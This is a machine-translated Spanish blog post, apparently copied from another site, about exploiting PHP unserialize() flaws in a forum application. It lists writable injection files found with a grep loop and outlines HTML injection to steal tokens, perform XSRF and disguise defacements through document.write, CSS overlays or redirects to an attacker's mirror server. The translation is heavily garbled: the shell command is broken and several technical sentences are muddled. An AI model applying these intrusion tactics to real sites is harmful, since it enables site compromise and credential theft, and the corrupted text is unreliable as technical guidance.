Así que, digamos que usted necesita algo universal que no es específica del sistema operativo, Zend Framework no se utiliza, no hay otro ataque aumento de superficie con marcos / plugins se utilizan, las etiquetas cortas no está activado, y PHP <5.4.0. Ahora ¿qué podemos hacer? />
No se puede utilizar XML Entidades externas a causa de tapón de la demostración. Bueno, aún existe la posibilidad de inyección de HTML para robar fichas, realice XSRF, etc Sólo hay un problema que es la mayoría de los archivos son PHP y, o bien no terminan su PHP o llamar a exit ();. Esto tampoco da un error o no se ejecuta. Así que el objetivo es encontrar cualquier tipo de localizaciones de inyección útiles. El todopoderoso grep al rescate una vez más!
 
 for i in $  (grep ">"-r. / . ">". |; - l-exclude = * png) hago si tail-n 5 $  grep-i q, y luego echo $  i; fi; hecho 
 / conf_global.php 
 . / dav.php 
. / interface / facebook / index.php 
. / interface / facebook / channel.php 
. / 
 initdata.php. / ips_kernel / HTMLPurifier / HTMLPurifier/Lexer/PH5P.php 
. / ips_kernel / facebook-cliente / jsonwrapper / JSON / JSON.php 
 
 ./ips_kernel/i18n/ConvertCharset.class.php ./ips_kernel/pop3class / parse_message.php 
 
 ./ips_kernel/pop3class/pop3.php ./ips_kernel/pop3class/test_pop3.php 
 
 ./ips_kernel/pop3class/browse_mailbox.php. / ips_kernel / twitter / OAuth.php 
. / ips_kernel / class_xml.php 
. / ips_kernel / PEAR / JSON / JSON.php 
 ./admin/js/3rd_party/jquery.min.js 
. / admin / sources / loginauth / live / lib / windowslivelogin.php 
. / admin / install / index.php 
. / admin / setup / aplicaciones / actualización / secciones / overview.php 
. / admin / setup / xml / skins / replacements_xmlskin.xml 
 
Después de todos esos archivos, sólo dos son lugares de inyección, ya sea válida o universalmente aceptables. Ambos apuntan al mismo lugar y son initdata.php y conf_global.php. Ambos se ejecutan al ver index.php. Ahora, el fopen es en modo de adición, por lo que los datos se escriben en la parte inferior de las páginas PHP, que se mostrará y se inyecta en la parte superior de la página real. Esto significa que es un poco más evidente debido a los caracteres de tope muestran ASCII. Esto también se romperá el diseño en el navegador IE. Si realmente quieres usarlo y no ser obvio sobre la inyección (defacers no necesitan preocuparse aquí ), tendrás que agarrar dinámicamente la página en la vista, enjuague el contenido de la página actual y el uso document.write (String.fromCharCode ()) para volver a escribir la página. También puede utilizar un poco de magia de CSS y ocultar / capa sobre la área de la inyección visible o simplemente redirigir a una copia espejo en su propio servidor, esto es todo limitado a su imaginación inyección HTML.
Finales y Varios. Ideas
A veces toda esta locura, simplemente no es necesaria en función de la vulnerabilidad. Sobre la base de la ubicación y el flujo de la lógica, simplemente podría abusar de cómo se utilizan los objetos decodificados de vuelta. Por ejemplo, los datos de revertir la seriación para la autenticación. Aunque esto no es un probable escenario, algunos errores son simplemente "especial" en su aplicación.
Porque usted puede fácilmente ensucie con el flujo de PHP intérprete y tipos de datos, las cuestiones de interpretación pueden convertirse en un problema. Si se miraba en el código fuente en ext / standard / var_unserializer.c en función php_var_serialize () que le de cuenta de la utilización de unos contadores de referencia par Esto puede conducir a mucho más interesante y hazañas impresionantes como su uso después de forma gratuita, como se ve con Stefan Esser SplObjectStorage UAF:.

http://php-security.org/2010/06/25/mops-2010-061-php-splobjectstorage-deserialization-use-after-free-vulnerability/
En general, estos son mucho más específicos a las versiones de PHP y requiere obstáculos adicionales para usar, como se ha visto con el SplObjectStorage UAF.
El Exploit 

Fuente: http://www.sied.com.ar/2014/02/la-explotacion-de-los-insectos-exoticos-unserialize-el-post.html